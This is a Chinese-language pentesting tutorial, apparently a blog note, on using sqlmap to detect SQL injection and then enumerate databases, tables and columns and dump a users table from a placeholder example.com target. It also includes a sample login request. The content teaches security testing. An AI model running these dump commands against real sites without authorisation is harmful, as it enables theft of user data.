渗透测试笔记(三)使用sqlmap进行SQL注入攻击
一、sqlmap简介
sqlmap 是一个强大的开源工具,用于自动化检测和利用SQL注入漏洞。它支持多种数据库类型,包括MySQL、Oracle、PostgreSQL、SQL Server等。sqlmap能够帮助渗透测试人员快速检测注入点、获取数据库结构、甚至直接获取数据库中的敏感数据。
二、sqlmap注入检测
基本用法
使用-u参数指定目标URL,使用--batch采用默认配置
1
| sqlmap -u "http://example.com/vulnerable.php?id=1" --batch
|
通过HTTP请求文件检测
1
| sqlmap -r request.txt --batch
|
request.txt为请求头和请求体,例如:
1 2 3 4 5 6 7
| POST /login.php HTTP/1.1 Host: example.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Content-Type: application/x-www-form-urlencoded Content-Length: 29
username=admin&password=12345
|
高级选项
--level:指定检测级别,数值越高检测越深入(1-5,默认1)
--risk:设置攻击风险等级(1-3,默认1)
三、sqlmap获取数据
假设目标URL为http://example.com/vulnerable.php?id=1,以下步骤展示了如何利用sqlmap来导出数据库信息:
1. 测试注入点
1
| sqlmap -u "http://example.com/vulnerable.php?id=1" --batch
|
2. 列出数据库:
1
| sqlmap -u "http://example.com/vulnerable.php?id=1" --dbs
|
3. 选择数据库并获取表
1
| sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db --tables
|
4. 选择表并获取字段
1
| sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db -T users --columns
|
5. 导出表数据
1
| sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db -T users --dump
|
这条命令会从users表中提取并显示所有数据。